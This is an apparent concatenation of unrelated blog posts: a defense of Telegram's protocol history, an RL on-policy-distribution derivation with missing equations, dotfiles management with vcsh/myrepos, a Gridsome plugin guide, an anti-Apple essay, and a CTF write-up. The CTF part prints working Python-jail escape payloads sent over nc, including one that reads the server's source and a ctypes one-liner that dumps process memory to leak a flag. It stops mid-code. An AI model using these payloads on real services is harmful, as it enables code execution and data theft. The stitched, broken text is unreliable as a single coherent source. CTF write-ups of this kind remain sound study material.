Ultimately, everyone has a different opinion regarding the fact that it would have been better for Telegram to use some already existing protocol, or at least design their own making more conventional choices. It is impossible to predict now what would have happened had they made a different choice. The fact remains that they did roll their own unconventional protocol despite the crypto community ridiculing them as amateurs and labelling the protocol as insecure.

However, Telegram was launched 8 years ago. Enough time has passed to give us a chance to stop an endless debate based on opinions, and evaluate the facts. Was this protocol secure like Telegram stated, or was it something completely insecure that should never be used like many experts claimed? And what about its present-day security?

Let us find out.

History of Telegram vulnerabilities

This section mentions a few vulnerabilities found in old versions of Telegram’s protocol. However, it is worth noting that the second version of the protocol has been recently audited and its correctness formally proven.

(Dec 21, 2013) Telegram protocol defeated

Telegram was initially launched between August (iOS) and October (Android) 2013, and the first (and only) serious vulnerability was found just two months later.

A Russian IT-community user discovered that the modified version of the Diffie-Hellman key exchange used by Telegram’s secret chats, which added a nonce generated by the server, allowed the server to perform a Man-in-the-middle attack.

Telegram awarded the developer that found the vulnerability $100,000 and quickly fixed the issue. They also motivated their changes to the standard DH algorithm as follows:

These nonce numbers were introduced to add more randomness to the secret chat keys, mostly because of possible undiscovered vulnerabilities of the random generators on mobile devices (for example, one such vulnerability was found this August in android phones). — The Telegram Team

This was, as far as I am aware, the only real vulnerability ever found on Telegram. The rest of the section reports less severe nonpractical vulnerabilities, or non-vulnerabilities that are often used to support the claim that Telegram is insecure, and can thus be safely skipped if one does not care about such details.

(Jan 9, 2015) A 2⁶⁴ Attack On Telegram

It was reported that someone with access to Telegram’s servers could perform a Man-in-the-middle attack requiring 2⁶⁴ computations.

The original authors estimated the cost of the attack in the tens of millions of USD. Telegram estimated an even higher cost:

Our calculations show that for this kind of attack to succeed in one month — even with all possible optimizations using cycle finding, etc. — the attacker would need equipment worth around a trillion dollars. And the attack would consume approximately 50 billion kW.h of electricity in the process, worth hundred millions of dollars. All of this for just one secret chat. Deployment of FPGA and ASICs might lower this estimate by an order of magnitude, but the attack would still remain infeasible. — The Telegram Team

Recent versions of Telegram use 288-bit fingerprints rendering this attack completely impossible.

(Feb 23, 2015) Telegram App Store Secret-Chat Messages in Plain-Text Database

Zimperium reported that if a user’s phone is compromised and then a kernel exploit is used to gain root privileges, then Telegram’s secret chats can be read from memory or from its private storage.

This seems totally obvious. If your kernel is compromised, there is no secure messaging app that is able to protect you.

(Dec 8, 2015) On the CCA (in)security of MTProto

It was reported that MTProto 1.0 was not IND-CCA secure. The authors state that there is no practical attack:

We stress that this is a theoretical attack on the definition of security and we do not see any way of turning the attack into a full plaintext-recovery attack.

Telegram clarified that this is not a practical vulnerability in their FAQs. Moreover, “MTProto 2.0 satisfies the conditions for indistinguishability under chosen ciphertext attack (IND-CCA)”.

(Aug, 2016) Iranian hackers

Reuters reported that Iranian hackers have compromised some Telegram accounts by intercepting SMS-verification codes and managed to confirm the existence of Telegram accounts for 15 million Iranian phone numbers.

Attacks relying on intercepting SMS-verification codes are a known threat to all messaging apps which rely on phone numbers. On Telegram they can be avoided by enabling 2-Step Verification.

Regarding the identification of accounts, Telegram stated that it is known that any party can check whether a phone number is registered in the system. They also introduced a limitation in their APIs to avoid such mass checks.

(Mar, 2020) 42 million Iranian user IDs and phone numbers leaked

IDs and phone numbers of 42m Iranian users, which were using a third party unofficial Telegram app, were leaked online.

The official Telegram app is blocked in Iran, so millions of users installed an unofficial client. This is unfortunate. However, it is not a Telegram’s vulnerability.

Defamation

Defamation: the act of communicating false statements about a person that injure the reputation of that person. — Merriam-Webster

A big chunk of the criticism of Telegram amounts to defamation, lies and arguments from authority. Unfortunately this is not an opinion, but a verifiable fact. Even more unfortunate is the fact that many of these come from respected figures of the computer security community. In this section I provide three examples, but you can easily find many more if you search a bit.

Disclaimer. I firmly believe one should assume good faith whenever possible. If someone says something wrong, they are probably just wrong, they didn’t necessarily mean any harm. However, one should also be careful not to be fooled. The quotes reported in this section are from experts of the field whose job relies on knowing these things, or from journalists whose job is to verify the truth of what they publish. It cannot be assumed they just did not know what they were talking about.

(Dec, 2015) Ptacek and Marlinspike

Take, for example, this tweet:

By default Telegram stores the PLAINTEXT of EVERY MESSAGE every user has ever sent or received on THEIR SERVER. — Thomas H. Ptacek (Dec, 2015)

Ptacek shows no proof for his statement. So, either he has proof to back his claim, but, for some reason, decided not to disclose it, or he is just lying.

Moreover, the intent is clearly sensationalist. They store EVERY MESSAGE on THEIR SERVER! Where else would they store them? On YOUR server?

The reply from Durov didn’t take long:

This is false: @telegram never stores plaintext of messages, and deleted messages are erased forever. Do you get paid for posting BS? — Pavel Durov

This is reasonable. What reason would Telegram have to store the plaintext of the messages? It doesn’t take that much effort to encrypt them at rest. Of course, they can still access them, but it is a very different thing that storing them without any encryption.

But wait for it, here is the icing on the cake:

@durov If you can’t admit you have plaintext access to everyone’s default msgs, I know for sure you’re being intentionally deceptive. — Moxie Marlinspike

Well done! First they lured Durov into replying to a bogus claim, and once he fell for it, Moxie delivered the final blow. 👏

Let me explain, in case this is not clear. Here Moxie is pretending the discussion was about having plaintext access, which obviously Telegram has for non-secret chats, instead of plaintext storage, which is what Ptacek was talking about. Then, he accused Durov of being deceptive if he cannot admit this secret truth.

To summarize, the original tweet could have been stated as: “By default Telegram does not use end-to-end encryption, and thus can potentially read your messages”. This could still have been interesting for users which do not know about the benefits of E2EE. However, without the capslock and the unfounded claim that they store the PLAINTEXT of EVERY MESSAGE, it probably gets a little less interesting.

(Nov, 2015) Daily Dot

Let’s see another example. On November 2015 the Daily Dot, publishes an article titled “Cryptography expert casts doubt on encryption in ISIS’ favorite messaging app”.

Telegram, the encrypted messaging app of choice for terrorist groups like ISIS, may not be as secure as the company wants people to think.

Telegram makes some pretty bold claims about the security of its application, but a cryptography expert said that the algorithm and methods that it uses to encrypt messages between users are “made up.”

“They basically made up a protocol,” Matthew Green, a professor of cryptography at Johns Hopkins University, told the Daily Dot. “According to their blog post, they have a couple of really brilliant mathematicians who aren’t really cryptographers but were smart so they came up with their own protocol. It’s pretty crazy. It’s not something that a cryptographer would use. That said, I don’t know if it’s broken. But, it’s just weird.”

Let’s see what we have here:

• Trying to damage Telegram's reputation by associating it with ISIS
• Argument from authority (an expert said this, it must be true)
• Ad hominem attack on Telegram's team
• Admitting in the end, that they don't really know if it's broken

There are even more unfounded claims in the article, if you are interested.

(Jun, 2016) Gizmodo

Lastly, I will show some highlights from a 2016 article by Gizmodo, titled “Why You Should Stop Using Telegram Right Now”. This article became quite popular and the Telegram Team even posted a reply titled “Should you stop reading Gizmodo right now?”. I encourage you to check them out both for a better understanding.

Here we go:

1. One major problem Telegram has is that it doesn’t encrypt chats by default

   They are confusing encryption and end-to-end encryption.

2. Contrary to the opinions of almost every encryption and security expert, Telegram’s FAQ touts itself as more secure as WhatsApp. But in reality, WhatsApp uses the most highly praised encryption protocol on the market and encrypts every text message and call by default.

   We already discussed why it is not sufficient to implement end-to-end encryption to have a secure app, and the flaws in WhatsApp’s implementation.

3. experts also indicate that the actual encryption technology is flawed

   If it is that flawed, it should be easy to back these claims with some evidence.

4. That’s the trouble with security by obscurity. It’s usual for cryptographers to reveal the algorithms completely, but here we are in the dark. [..]

   That’s just false. The protocol is open. The client is open source.

5. Unless you have considerable experience, you shouldn’t write your own crypto. No one really understands why they did that.

   If you phrase it like that, it seems they were totally out of their minds. The truth is that they stated their reasons for going down that road, but it is clearly easier to say that “no one really understands”, instead of doing some research.

It is worth noting that in 2019, Gizmodo realized their article was wrong and amended it clarifying that “client-server communication is encrypted by default”.

Conclusion

Let us finally draw some conclusions from all this.

1. Not everybody has the same security and privacy requirements. Nobody that I know of routinely compares public key fingerprints before starting every E2EE chat. Most of them care about device synchronization and not losing their chat history, though. These people are happily trusting the Service with their data and that is OK. It may be sad, but it is what it is. On the other hand, a whistleblower, or someone concerned about being targeted by a government, for example, is going to be much more careful and will probably take many extra steps to safe-guard their security.

2. Even if it is a very nice property to have, E2EE is hard to get down correctly and introduces a series of usability challenges. We showed how WhatsApp’s implementation is not solid because by default it totally ignores key changes and it encourages users to make unencrypted backups. Although it would be nice if there was a perfectly secure and privacy-respecting messaging app that also had great usability, we are simply not there yet.

3. Preventing the community from verifying the correctness of an E2EE implementation severely limits its usefulness. Having to completely trust the Service to implement it correctly, almost defeats its purpose. Unfortunately that is the case with WhatsApp, which has closed source apps, forbids reverse engineering and routinely blocks third party clients. Of course, in case you equally trust two Services and one claims to have better security, it is probably better to choose that one, even if you cannot verify their claims.

4. Be aware of who you are trusting. Using some apps might require a considerable level of trust in the Service, as is the case with both Telegram and WhatsApp. It is, thus, paramount to do some research and understand if that trust is totally misplaced or well deserved. This is more subjective than an exact since. However, some examples are to review the vulnerability history of the Service to assess how seriously they take the security of their product and to avoid trusting companies whose commercial interests consists in selling your private data.

   I included the history of vulnerabilities of Telegram in this article, and planned to do the same for WhatsApp. However, WhatsApp’s history is much longer and deserves an article on its own, which I hope to write in the future.

5. Finally, denigrating others is not nice. Attacking and undermining them just because they are not part of the cool kids’ club is despicable and may take a toll on your reputation. Please stop.

The proof

From page 199 of Sutton’s book:

Let $h(s)$ denote the probability that an episode begins in each state $s$, and let $\eta(s)$ denote the number of time steps spent, on average, in state $s$ in a single episode. Time is spent in a sate $s$ if episodes start in $s$, or if transitions are made into $s$ from a preceding state $\bar s$ in which time is spent:

$\eta(s) = h(s) + \sum_{\bar s} \eta(\bar s) \sum_a \pi(a|\bar s)p(s|\bar s,a), \text{ for all }s\in\mathcal S.$

This system of equations can be solved for the expected number of visits $\eta(s)$. The on-policy distribution is then the fraction of time spent in each state normalized to sum to one:

$\mu(s) = \frac{\eta(s)}{\sum_{\bar s}\eta(\bar s)}, \text{ for all }s\in\mathcal S.$

Where the denominator in the previous formula is simply $T$, the number of time steps in the episode.

To make our formulas a little shorter let us define $p^\pi(s|\bar s)$ as the probability of going from state $\bar s$ to state $s$ under policy $\pi$:

Then:

Wat. Can you spot the problem with the previous equations? Try to figure it out or keep reading to know the answer.

The problem

To see what is going on, let us take a very simple problem, with two states, $A$ and $B$, where the latter is terminal. Starting from $A$, under $p^\pi$, we stay in $A$ with probability $\alpha$, and move to $B$ with probability $1-\alpha$.

Note that the number of timesteps $T$ of an episode is not fixed, because the problem is not deterministic, but it is finite, because we are always going to reach $B$ at some point.

Let us assume that all episodes start in $A$ and compute $\eta$ for each state:

This is where the problem begins. What is the value of $p^\pi(B|B)$?

First attempt $(T<\infty)$

We know that all episodes terminate as soon as we reach $B$. Therefore, at least intuitively, we would like the value of the average count $\eta(B)$ to be $1$, since we are always going to be in $B$ exactly once.

The only way to make this happen, starting from our previous formula,

is by defining the probability of going from $B$ to $B$ to be $0$:

This seems to work nicely, both $\eta(A)$ and $\eta(B)$ are what we expect. Then, why is the formula at the beginning of the article not working?

…

Because our probabilities do not add up! The sum of the probabilities of going from $B$ to every other state should be $1$, but is actually 0:

This, quite obviously, makes our original formula break when we assume

Umhh … can we find an other way?

Second attempt $(T=\infty)$

Let us try with an other option. If we consider $B$ to be an absorbing state, then $p^\pi(B|B)$ should be $1$. However, if we substitute that value we obtain something weird:

To see what is going on remember that $\eta(s)$ represents “the number of time steps spent, on average, in state $s$”. By definition, when reaching an absorbing state, like $B$, we stay there forever. Thus, as soon as we reach $B$, we start looping, increasing indefinitely both the total number of timesteps $T$ and our count $\eta(B).$

This can be seen by taking the limit for $p^\pi(B|B)=1$ in our previous formula:

Well, then, our formula is not wrong … at least in the limit. However, our average count $\eta(B)$ goes to infinity, making our on-policy distribution $\mu(s)$ not so useful anymore. This is because $B$ would take all the weight, leading to $\mu(B)=1$, and $\mu(s)=0$ everywhere else.

This outcome too, is not satisfying. So, what should we conclude from all this?

Conclusion

• In our first case, where the number of timesteps $T$ is finite, we cannot treat terminal states like every other state, otherwise their probabilities would not add up.
• Similarly, in the second case, with infinite timesteps $T$, we cannot treat absorbing states like every other state (unless we introduce discounting), otherwise the expected number of visits $\eta(s)$ becomes infinite.

One solution that works for both cases, is to partition the states in two sets $\mathcal S$, containing all states, except terminal states, and $\mathcal S^+$ containing every state, including terminal ones. Then, rewrite our original formula as:

Finally, let us revisit our original proof:

This is saying that, on average, in an episode, we are going to spend one timestep in terminal states.

It works! 🎉

That’s it, in the end we did not manage to prove $1=0$, but hopefully we learned something interesting along the way!

$ vcsh clone https://github.com/tyrion/dotfiles dotfiles

The problem

Many programs on GNU/Linux used to store their configuration inside our $HOME directory using one or more dotfiles (i.e. files starting with a dot, like .vimrc). Nowadays those files usually do not start with a dot and reside in ~/.config, but the name stuck.

Some people spend a great deal of effort in configuring and customizing their dotfiles (Have a look at reddit for some inspiration). Therefore, when switching to a new machine, or reinstalling our OS, it is very important to be able to restore all those configuration files easily.

Possible approaches

Here I will list the most common approaches to the management of dotfiles. I am going to assume that the best way to deal with the versioning of dotfiles is to use git.

$HOME as a git repository

The first solution that might come to our mind is to make our entire $HOME a git repository. This may seem a simple and good solution, although we have to be careful with sub-repositories and most importantly it is not going to be straightforward to clone our repository on a new machine (since the home folder probably already exists).

Separate repository plus symlinks

Since making our home folder a git repository seems to have some drawbacks, one reasonable way to fix the previous approach might be to put the git repository with our dotfiles somewhere else (for example, ~/.config/dotfiles ) and then symlink what we need inside our $HOME.

This in practice, is a good approach. The only downside is that on a new machine we need to manually symlink everything in the right place and it might be a bit tedious.

For this reason, when using this method it is probably a good idea to use one of the many tools available. For example see: Using GNU Stow to manage your dotfiles.

Bare git repositories

If you do not like dealing with symlinks or having to use yet an other tool to manage your dotfiles, this method is for you.

A bare git repository allows us to keep the working tree and the .git directory in different places.

$ DOT_DIR=~/.config/dotfiles
$ git init --bare $DOT_DIR
$ alias dot="`which git` --git-dir=$DOT_DIR --work-tree=$HOME"

Then we can use the dot alias to manage our dotfiles:

$ dot add .bashrc
$ dot commit -m "Add .bashrc"
$ dot push

This is very similar to our first method, except that the .git folder is not placed directly inside $HOME but resides in ~/.config/dotfiles. This means that (A) we avoid all possible problems with nested repositories and (B) we do not need symlinks!

Unfortunately, like in our first method, it is not straightforward to clone our repository when the home folder already exists. Moreover, whenever I need to setup a new machine, I always forget some of the git commands and flags required to use this method.

VCSH to the rescue

Using a bash alias like shown above, proves that we can manage our dotfiles in a satisfying way, only with git. However, I prefer using one of the many available tools that wrap git. In particular vcsh has the following advantages:

• Easier CLI. no need to remember complex git commands or define aliases on a new machine.
• Better UX. no problems to clone our dotfiles when the $HOME folder already exists or is non-empty.
• Seeamless support for multiple repositories. no need to define one alias for each repository.

vcsh is licensed under GPLv2 or later and is available on most GNU/Linux distributions and OSX.

To get started with vcsh, you can create a new git repository for your dotfiles:

$ vcsh init dotfiles

Now you can run git commands, either using vcsh <repo> <git cmd> or by first activating your repository and then using git normally:

$ vcsh enter dotfiles
(master) $ git add .bashrc .vimrc
(master) $ git commit -m "initial files"
(master) $ exit
$

To get your dotfiles on a new machine, you can use vcsh clone:

$ vcsh clone https://github.com/tyrion/dotfiles dotfiles

It is also worth noting that vcsh is capable of handling multiple repositories. This means you could separate the dotfiles of different applications. For example:

$ vcsh init bash
$ vcsh bash add ~/.bashrc ~/.profile
$ vcsh init vim
$ vcsh vim add ~/.vimrc ~/.vim

For more information look at the README and try man vcsh.

Advanced setup with myrepos

If you are a true power user and you are still not completely satisfied by the above methods, here I will present a more advanced setup based on myrepos.

myrepos is a tool to manage multiple version control repositories, which works very well with vcsh, licensed under GPLv2 or later and available on most GNU/Linux distributions and OSX.

The method presented in this section is not necessarily the best for everyone. Mainly because it is more complex to setup than plain vcsh (even though you need to do this setup only once). Therefore, I encourage you to evaluate first what are you needs and then choose the most appropriate method.

The reasons that personally convinced me to adopt myrepos are the following:

• I can write small executable scripts that run on checkout/update.
• I can easily checkout some repositories in a different location (i.e. pyenv goes inside ~/.local/share and not ~).

NOTE: myrepos has other features, like the ability to manage almost any kind of version control system (e.g. svn, bzr), which I did not mention here, because they are not relevant for my use case. I invite you to check out the documentation.

Quickstart

To manage our repositories with myrepos, we need to edit .mrconfig files. Here is an example:

[src/mr]
# We can use almost any version control system
checkout = git clone git://git.kitenet.net/mr

[books/LFS]
# Really, also SVN ...
# It was not easy to find a working SVN repo
checkout = svn co svn://svn.linuxfromscratch.org/LFS/trunk/BOOK/ LFS

Each section represents a repository and the header specifies its location on our machine, relative to the .mrconfig file.

If we place the above .mrconfig inside any directory and run mr checkout, myrepos will fetch the repositories for us.

$ cd ~/test && ls
.mrconfig
$ mr checkout
$ tree -L 2
.
├── books
│   └── LFS
└── src
    └── mr

4 directories, 0 files

If we have many repositories, we can use the --jobs option, to make the checkouts run in parallel.

Realistic example

Here is a more realistic example of .mrconfig, showcasing the support for:

• environment variables in the header,
• advanced checkout with vcsh,
• and post_update hooks.

[$HOME/.config/vcsh/repo.d/nvim.git]
checkout =
  vcsh clone https://github.com/example/nvim nvim

post_update =
  set -e
  curl -fLo ~/.local/share/nvim/site/autoload/plug.vim \
  --create-dirs https://raw.githubusercontent.com/\
  junegunn/vim-plug/master/plug.vim

  pip install -U pip
  pip install -U pynvim black mypy jedi

[$HOME/.config/vcsh/repo.d/pyenv.git]
order = 30
checkout =
  VCSH_BASE="$HOME/.local/share/pyenv" vcsh clone \
    'https://github.com/pyenv/pyenv.git' 'pyenv'

[$HOME/.local/share/pyenv/plugins/pyenv-virtualenv]
order = 30
checkout =
  git clone https://github.com/pyenv/pyenv-virtualenv.git $MR_REPO

To learn more about myrepos you can consult its website and read the manual, either online or with man mr. In the git repo you can also find an example .mrconfig.

Putting it all together

In this last section, I will show how to put together everything we have learned so far, by illustrating my current setup.

The goal is to create a single git repository, with different branches containing the dotfiles for different applications. For extra security, I recommend to use the encrypted git repositories provided by Keybase. They are especially useful if you plan to store sensitive informations, like passwords or ssh keys.

As a first step we should clone the mr-template repository, which I prepared to make things easier. In case you plan to use Github, I suggest you to fork it and use your fork instead.

$ git clone https://github.com/tyrion/mr-template.git
$ cd mr-template
$ git branch
* master
  mr

As you can see the repository contains two branches. The master branch contains only the README and can be used to store any file we do not want to be checked out automatically in our $HOME.

The mr branch is the most important and contains the configuration for myrepos and the repository definitions for all the other apps. All the other branches will be used to store the dotfiles for our applications.

Let us examine the contents of the mr branch:

$ git checkout mr
$ tree -aI .git
.
├── .config
│   └── mr
│       ├── available.d
│       │   └── mr.vcsh
│       └── config.d
│           └── mr.vcsh -> ../available.d/mr.vcsh
└── .mrconfig

4 directories, 3 files

The contents of this branch can be summarized as follows:

• .mrconfig: the entrypoint configuration file for mr,
• .config/mr/available.d/: repository definitions for our applications,
• .config/mr/config.d/: repository definitions active in the current system. Contains symlinks to available.d/.

The .mrconfig is used only to include everything inside config.d/. Its content should be:

[DEFAULT]
include = cat ~/.config/mr/config.d/*

Therefore, to add the dotfiles for a specific application to our system, we have to enable its repository definition (placed inside available.d/) by creating a symlink inside config.d/.

This mechanism allows us to only activate the dotfiles for the applications that we need on the current machine, while keeping all the repository definitions inside the same git repository.

Notice that mr.vcsh is symlinked inside config.d/ and thus is enabled by default. Let us check its contents:

[$HOME/.config/vcsh/repo.d/mr.git]
order = 0
# NOTE: put here the correct url for your repository
checkout =
  vcsh clone -b mr https://github.com/tyrion/mr-template.git mr

Remember to edit the url to point to your dotfiles repository and commit it.

As an example, let us now add a simple .bashrc to our repository. The first thing to do is to add the repository definition. Place the following inside .config/mr/available.d/bash.vcsh:

[$HOME/.config/vcsh/repo.d/bash.git]
order = 10
# NOTE: put the correct url for your repository
checkout =
  vcsh clone -b bash https://github.com/tyrion/mr-template.git bash

This instructs vcsh to checkout the bash branch of our repository. Let us create this branch, since it does not exist, and add our dotfiles to it:

$ git checkout -b bash init
Switched to a new branch 'bash'
$ echo "echo 'Hello o/'" > .bashrc
$ git add .bashrc
$ git commit -m "Add dummy .bashrc"

You should also create a symbolic link inside .config.d/ if you want your bash branch to be enabled by default.

NOTE: It is very important to create your branches from the init tag, to ensure they will start from a clean/empty state.

That’s it. Assuming you pushed your branches to your remote repository, you are now ready to check out your dotfiles on any machine:

$ # NOTE: always put your repo
$ vcsh clone -b mr https://github.com/tyrion/mr-template.git mr

Enable/disable the branches that you want and run mr checkout:

$ cd .config/mr
$ ln -s ../available.d/bash.vcsh config.d/
$ mr checkout

All your dotfiles should be in the right place. Congratulations 🎉

Suppose you created a simple blog with Gridsome and configured Netlify CMS. Your config.yml might look something like the following:

media_folder: 'static/uploads'
public_folder: '/uploads'
site_url: https://example.com

collections:
  - name: posts
    folder: 'posts'
    create: true
    slug: '{{slug}}'
    fields:
      - {label: 'Title', name: 'title', widget: 'string'}
      - {label: 'Cover', name: 'cover_image', widget: 'image'}
      - {label: 'Body', name: 'body', widget: 'markdown'}

Now let us create a simple post with some images by adding the following markdown file to the posts directory:

---
title: A post with a cover image
date: 2019-07-09
published: true
cover_image: ./images/cover_image.jpg
---
My first post \o/

![Image](./images/other_image.jpg)

The problem

Gridsome interprets the paths as relative with respect to the post file location. Assuming the images exist in posts/images the post would look perfect on your blog.

Unfortunately though Netlify CMS fails to load the images in its UI. Apparently it treats paths starting with ./ as absolute. Therefore, it will look for our images in https://example.com/images/.

If we manually change our paths and remove the ./, Netlify CMS will look for them inside the public_folder. However, Gridsome still expects them inside posts/images.

Finally if we upload a new image from the UI and try to insert it in a post, Netlify CMS will use an absolute path, i.e. ![Image](/uploads/other_image.jpg). At first glance, using absolute paths seems to work flawlessly both in the UI and with Gridsome. There is only a minor catch: the images will not be optimized by Gridsome anymore.

Considering that progressive images are one of the major selling points of Gridsome, I am not satisfied with this solution.

The solution

I tried to look for ways to fix this problem, and found many related issues but no convincing solution. So, I tried to roll my own and made gridsome-plugin-netlify-cms-paths.

The code is very simple and could certainly be improved a lot. Feel free to head over to the repository and submit a pull request. All contributions are very welcome!

In order to use it, just add it to your project with yarn/npm:

$ yarn add gridsome-plugin-netlify-cms-paths

And configure it in your gridsome.config.js. For example, assuming you have this fairly standard configuration:

module.exports = {
  // ...
  plugins: [
    {
      use: '@gridsome/source-filesystem',
      options: {
        typeName: 'Post',
        path: 'posts/*.md',
        route: '/:slug',
      }
    },
    { use: 'gridsome-plugin-netlify-cms' },
  ],

  transformers: {
    remark: {
      plugins: [
        '@gridsome/remark-prismjs'
      ]
    }
  },
}

You would need to add the following plugin definition:

use: 'gridsome-plugin-netlify-cms-paths',
options: { contentTypes: ['Post'] }

Then you need to move all your images to media_folder. Assuming your Netlify CMS config.yml is set up like shown above, this would be static/uploads.

The details

The plugin takes care of transforming two kinds of paths by ensuring they start with media_folder:

• Relative paths not starting with ./ (i.e. path/to/image1.jpg)
• Absolute paths starting with public_folder (i.e. /uploads/image2.jpg)

For example, with the config.yml we showed above, we would have the following transformations:

• path/to/image1.jpg to /static/uploads/path/to/image1.jpg
• /uploads/image2.jpg to /static/uploads/image2.jpg

Note that you still need to move all your images to media_folder in order for this to work.

Having your images inside static/ enables Netlify CMS to find them at public_folder and at the same time does not prevent Gridsome to optimize them.

The plugin fixes the image paths it finds inside the body of your markdown files. However, it can be configured to also fix a cover image field inside the frontmatter of your posts, using the coverField option:

{
  use: 'gridsome-plugin-netlify-cms-paths',
  options: {
    contentTypes: ['Post'],
    coverField: 'cover_image'
  }
}

Congrats! You now have images working both on Gridsome and Netlify CMS, without sacrificing any optimization.

These are some of the top results obtained by searching “macbook” on Hacker News:

• New MacBook Pro Is Not a Laptop for Developers Anymore
• Ask HN: Is Dell XPS Developer Edition a Good Replacement of Macbook Pro?
• Apple’s new MacBook Pro kills off most of the ports you probably need
• Ask HN: What laptop should I get instead of a Macbook Pro?
• Apple is killing off MagSafe, one of the MacBook’s best features
• Ask HN: Would You Upgrade to the New MacBook Pro?
• WTF Is Apple Thinking with the New MacBook Pro and Touch Bar?

Among these developers, some of the most enraged are planning to switch or to go back to a GNU/Linux distribution.

All these people are angry with Apple, but they should be angry mostly with themselves.

They spent an enormous amount of their time to learn and use the proprietary OS they bought and to master all its cool and expensive apps, which work perfectly, without realizing the dependence they were developing. They became addicted to Apple’s products and its ecosystem, simply because maybe they used it for 10 years or more.

Therefore what happens when the new CEO decides something that you don’t agree with? When they release a new product that you don’t like, because they removed the Escape key? Nothing. You are in deep trouble. You start complaining. No alternatives. Either you accept their word or you are out.

It is quite useless to get mad and criticize Apple the first time you don’t like their decisions, when throughout the years you always loved and supported them. When you realize that you are no more a customer but the product, since the cost to switch to something else became so high you have to accept their every decision. When you have no voice and your complaints are useless.

I think you should ask yourself if having the best products was worth the lock in.

The moral case for Freedom in Software

There is one last thing that I would like to point out in this story.

To all the people who are willing or thinking to switch to GNU/Linux, because they do not want to upgrade their MacBook, I would like to ask: What would have happened if everybody acted like you and switched to Apple? Would you still have a good distro to use right now?

Well I don’t think so. We would all be in deep trouble. Therefore I feel like it is almost morally mandatory to continue to use GNU/Linux, otherwise in the long run we will all lose our freedom to choose.

Apple’s philosophy

I do not buy nor use Apple’s products because I do not approve their philosophy. Their philosophy is to believe they know better than me what is good and better for me without giving me the chance to choose or opt-out.

Try this at home

Before reading the writeup you may want to attemp to solve the challenge youself. I wrote a replacement of the server in Python so you can still try to solve this challenge even if the original server is not live anymore.

Warning: if you want to solve the challenge do not cheat by reading the gist code! Just download both files and run python keyserver.py and then python fuckpyjails.py.

$ nc fuckpyjails.9447.plumbing 9447
>>> True
Fail!

$ nc fuckpyjails.9447.plumbing 9447
>>> print('hello')
Traceback (most recent call last):
  File "/home/ctf/fuckpyjails.py", line 18, in <module>
    if get_key() is eval(raw_input()):
  File "<string>", line 1, in <module>
    print('hello')
        ^
SyntaxError: invalid syntax

$ nc fuckpyjails.9447.plumbing 9447
>>> get_key()
Fail!

$ nc fuckpyjails.9447.plumbing 9447
>>> __import__('sys').stdout.write(get_key())
I already sent you the key, stupid!Fail!

$ nc fuckpyjails.9447.plumbing 9447
>>> __import__('sys').stdout.write((open('/home/ctf/fuckpyjails.py').read())
#!/usr/bin/env python
import sys
import socket
import resource

resource.setrlimit(resource.RLIMIT_NPROC, (0, 0))

def get_key():
  s = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)
  s.connect("/tmp/keyserver")
  r = s.recv(64)
  s.close()
  return r

sys.stdout.write(">>> ")
sys.stdout.flush()

if get_key() is eval(raw_input()):
  print "Did you get the key?"
else:
  print "Fail!"
Fail!

$ nc fuckpyjails.9447.plumbing 9447
>>> (lambda code, sys: ((setattr(code.InteractiveConsole, 'runcode', lambda self, cod: (code.InteractiveInterpreter.runcode(self, cod), sys.stdout.flush(), sys.stderr.flush())[0]), code.InteractiveConsole(globals()).interact())))(__import__('code'), __import__('sys'))
Python 2.7.6 (default, Mar 22 2014, 22:59:56)
[GCC 4.8.2] on linux2
Type "help", "copyright", "credits" or "license" for more information.
(InteractiveConsole)
>>> print 'Yeah!'
Yeah!
>>>

(lambda code: (
    setattr(code.InteractiveConsole, 'runcode',
        lambda self, cod:
            (code.InteractiveInterpreter.runcode(self, cod),
             sys.stdout.flush(),
             sys.stderr.flush())[0]
    ),
    code.InteractiveConsole(globals()).interact()
))(__import__('code'))

$ echo '(lambda c: (lambda libc: libc.write(1, c.c_char_p(id('ciao') - 5024),1024*1024*2))(c.cdll.LoadLibrary('libc.so.6')))(__import__('ctypes'))' |  nc fuckpyjails.9447.plumbing 9447 | strings | grep 9447
9447{seriously_eval_is_lame}

import ctypes
libc = ctypes.cdll.LoadLibrary('libc.so.6')

# You may want to try with different offset values if 5024 doesn't work
addr = ctypes.c_char_p(id('ciao') - 5024)

libc.write(1, addr, 1024 * 1024 * 2)

$ nc fuckpyjails.9447.plumbing 9447
>>> (lambda code, sys: ((setattr(code.InteractiveConsole, 'runcode', lambda self, cod: (code.InteractiveInterpreter.runcode(self, cod), sys.stdout.flush(), sys.stderr.flush())[0]), code.InteractiveConsole(globals()).interact())))(__import__('code'), __import__('sys'))
Python 2.7.6 (default, Mar 22 2014, 22:59:56)
[GCC 4.8.2] on linux2
Type "help", "copyright", "credits" or "license" for more information.
(InteractiveConsole)
>>> import inspect
>>> import pprint
>>> pprint.pprint(inspect.stack(), width=200)
[(, '', 1, '', None, None),
 (, '/usr/lib/python2.7/code.py', 103, 'runcode', ['            exec code in self.locals\n'], 0),
 (, '', 1, '', None, None),
 (, '/usr/lib/python2.7/code.py', 87, 'runsource', ['        self.runcode(code)\n'], 0),
 (, '/usr/lib/python2.7/code.py', 265, 'push', ['        more = self.runsource(source, self.filename)\n'], 0),
 (, '/usr/lib/python2.7/code.py', 243, 'interact', ['                    more = self.push(line)\n'], 0),
 (, '', 1, '', None, None),
 (, '', 1, '', None, None),
 (, 'fuckpyjails.py', 18, '', ['if get_key() is eval(raw_input()):\n'], 0)]

>>> f = inspect.stack()[-1][0]
>>> dir(f)
['__class__', '__delattr__', '__doc__', '__format__', '__getattribute__',
'__hash__', '__init__', '__new__', '__reduce__', '__reduce_ex__', '__repr__',
'__setattr__', '__sizeof__', '__str__', '__subclasshook__', 'f_back',
'f_builtins', 'f_code', 'f_exc_traceback', 'f_exc_type', 'f_exc_value',
'f_globals', 'f_lasti', 'f_lineno', 'f_locals', 'f_restricted', 'f_trace']

typedef struct _frame {
    PyObject_VAR_HEAD
    struct _frame *f_back;  /* previous frame, or NULL */
    PyCodeObject *f_code;   /* code segment */
    PyObject *f_builtins;   /* builtin symbol table (PyDictObject) */
    PyObject *f_globals;    /* global symbol table (PyDictObject) */
    PyObject *f_locals;     /* local symbol table (any mapping) */
    PyObject **f_valuestack;    /* points after the last local */
    /* Next free slot in f_valuestack.  Frame creation sets to f_valuestack.
       Frame evaluation usually NULLs it, but a frame that yields sets it
       to the current stack top. */
    PyObject **f_stacktop;
    PyObject *f_trace;      /* Trace function */

    /* If an exception is raised in this frame, the next three are used to
     * record the exception info (if any) originally in the thread state.  See
     * comments before set_exc_info() -- it's not obvious.
     * Invariant:  if _type is NULL, then so are _value and _traceback.
